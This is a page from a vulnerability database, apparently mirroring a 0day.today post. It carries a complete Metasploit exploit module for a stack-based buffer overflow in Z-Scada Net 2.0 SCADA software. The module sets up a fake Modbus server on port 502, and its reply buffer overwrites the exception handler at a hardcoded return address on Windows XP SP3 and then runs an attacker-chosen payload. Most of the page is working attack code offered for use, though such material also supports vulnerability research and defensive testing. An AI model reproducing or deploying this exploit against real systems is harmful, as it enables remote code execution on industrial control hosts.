Lucene search
K

ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow Exploit

🗓️ 13 Sep 2017 00:00:00Reported by James FittsType 
zdt
 zdt
🔗 0day.today👁 56 Views

ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow Exploit from Z-Scada Net 2.

Code
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::TcpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ZScada Net Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow found in
                Z-Scada Net 2.0.  The vulnerability is triggered when parsing
                the response to a Modbus packet.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN', 
                            {
                                # zscadanet.exe v1.0
                                # pop ecx/ pop ebp/ retn
                                'Ret' => 0x00429c35
                            } 
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Dec 11 2014'))
 
        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
            ], self.class)
    end
 
    def on_client_data(client)
        p = payload.encoded
 
        buf = pattern_create(5000)
        buf[574, 4] = [0x909006eb].pack('V')    # jmp $+8
        buf[578, 4] = [target.ret].pack('V')
        buf[582, 24] = "\x41" * 24
        buf[606, p.length] = p
 
        client.put(buf)
        handler
        service.close_client(client)
    end
 
end

#  0day.today [2018-01-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Sep 2017 00:00Current
7.1High risk
Vulners AI Score7.1
56